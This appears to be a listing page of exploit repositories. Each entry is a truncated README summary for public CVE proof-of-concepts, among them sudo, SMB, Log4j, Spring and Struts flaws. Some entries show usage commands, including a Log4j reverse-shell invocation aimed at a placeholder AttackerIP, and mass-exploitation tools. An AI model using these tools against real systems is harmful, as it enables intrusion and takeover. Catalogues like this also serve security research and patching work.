CVE-2016-5195

CVE-2016-5195 Here are some exploit codes for the Dirty Cow vulnerability...

CVE-2025-33073

CVE-2025-33073 PoC Exploit for the NTLM reflection SMB flaw. All credits go to the offical research: https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025 Prerequisites OS: Kali Linux has most packages pre-installed. NetExec NXC ...

CVE-2019-16662

CVE-2019-16662 The official exploit for rConfig 3.9.2 Remote Code Execution CVE-2019-16662...

Exploit-Writeups

This is a collection of exploit writeups that I've authored: PS3 lv0ldr SPI MITM...

CVE-2021-3156

CVE-2021-3156 PoC Introduction This is an exploit for the CVE-2021-3156 sudo vulnerability dubbed Baron Samedit by Qualys. Usage build: $ make list targets: $ ./sudo-hax-me-a-sandwich run: $ ./sudo-hax-me-a-sandwich manual mode: $ ./sudo-hax-me-a-sandwich Bruteforce target finding experimental Ma...

CVE-2020-0796-EXP

CVE-2020-0796-EXP Windows SMBv3 LPE Exploit Author NewYork @LabDookhtegan Download CVE-2020-0796-EXP Usage CVE-2020-0796-EXP.exe -ip xx.xx.xx.xx -cmd "whoami"...

parquet-canary-exploit-rce-poc-CVE-2025-30065

Canary Exploit for Parquet CVE-2025-30065 -. '-. OO OO .-----,--/ ,. ,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------. ' .--.\ \ //| .---' .-'/ ,-. / .. / ,-. | | .-' / -. / .. \ / .. \ / .' | | | |'-.\ \ / / | | OO'-' | . / \ '-' | | '--. OO'-' ' . / \ . / \ . / -. |...

libfb_mem_exploit

This repository does not have a README...

padre

padre padre is an advanced exploiter for Padding Oracle attacks against CBC mode encryption Features: blazing fast, concurrent implementation decryption of tokens encryption of arbitrary data automatic fingerprinting of padding oracles automatic detection of cipher block length HINTS! if failure...

CVE-2022-22965-poc

CVE-2022-22965 poc CVE-2022-22965 poc including reverse-shell and password support. Feel free to add more stuff : How to test? $ docker run -p 9090:8080 vulfocus/spring-core-rce-2022-03-29 run vulnerable docker $ python3 exploit.py -c id --password 1234 --shellname big0us $ python3 exploit.py...

CVE-2017-5638-Apache-Struts2

CVE-2017-5638 Apache Struts2 Example PoC Exploit PHP Code for CVE-2017-5638 Usage php exploit.php "http://127.0.0.1:8080/example/index.action" "command" USE AT YOUR OWN RISK...

CVE-2024-7029-EXPLOIT

CVE-2024-7029-EXPLOIT...

cve-2006-6184

CVE-2006-6184 This is a python-based standalone exploit for CVE-2006-6184. This exploit triggers a stack-based buffer overflow in Allied Telesyn TFTP Server AT-TFTP 1.9, and possibly earlier, allowing remote attackers to cause a denial of service or execute arbitrary code. Instructions Updated fo...

CVE-2024-4358_Mass_Exploit

CVE-2024-4358MassExploit Modified tools from @sinsinology to do mass exploit. Requirements Python 3.x Installation git clone https://github.com/Sk1dr0wz/CVE-2024-4358MassExploit.git cd CVE-2024-4358MassExploit pip intstall -r requirements.txt How To Run usage: python CVE-2024-4358.py --target-fil...

CVE-2025-32463

CVE-2025-32463 – Sudo EoP Exploit PoC with precompiled library This repository contains a proof-of-concept PoC exploit for CVE-2025-32463 , a local privilege escalation vulnerability in sudo discovered by Rich Mirch. Credit https://github.com/kh4sh3i/CVE-2025-32463 ⚠️ Disclaimer This PoC is for...

CVE-2017-10271

weblogicwlswsatrce Weblogic wls-wsat component deserialization vulnerability CVE-2017-10271 exploit script, modified fromhttps://github.com/s3xy/CVE-2017-10271. Command execution with echo output Direct shell upload Tested on Linux with weblogic 10.3.6.0 OK Usage and Parameters python...

dnspooq

dnspooq DNSpooq PoC - dnsmasq cache poisoning CVE-2020-25686, CVE-2020-25684, CVE-2020-25685 For educational purposes only Requirements Docker compose Docker Exploit Launch containers $ docker-compose up -d Run exploit.py $ docker-compose exec attacker bash bash-5.0 python exploit.py Querying...

CVE-2022-22845-Exploit

CVE-2022-22845-Exploit Exploit for CVE-2022-22845 - Unauthenticated Admin Takeover On QXIP SIPCAPTURE Homer-App up to 1.4.27 Discovery: Omri Baso & Fabien Aunay Exploit Author: Omri Baso...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...

POC-CVE-2018-10933

POC-CVE-2018-10933 LibSSH Authentication Bypass Exploit using RCE References of code Git Repo of https://www.youtube.com/watch?v=ZSWQjmfcn4g example More information about the vulnerability https://www.libssh.org/security/advisories/CVE-2018-10933.txt https://vulners.com/cve/CVE-2018-10933...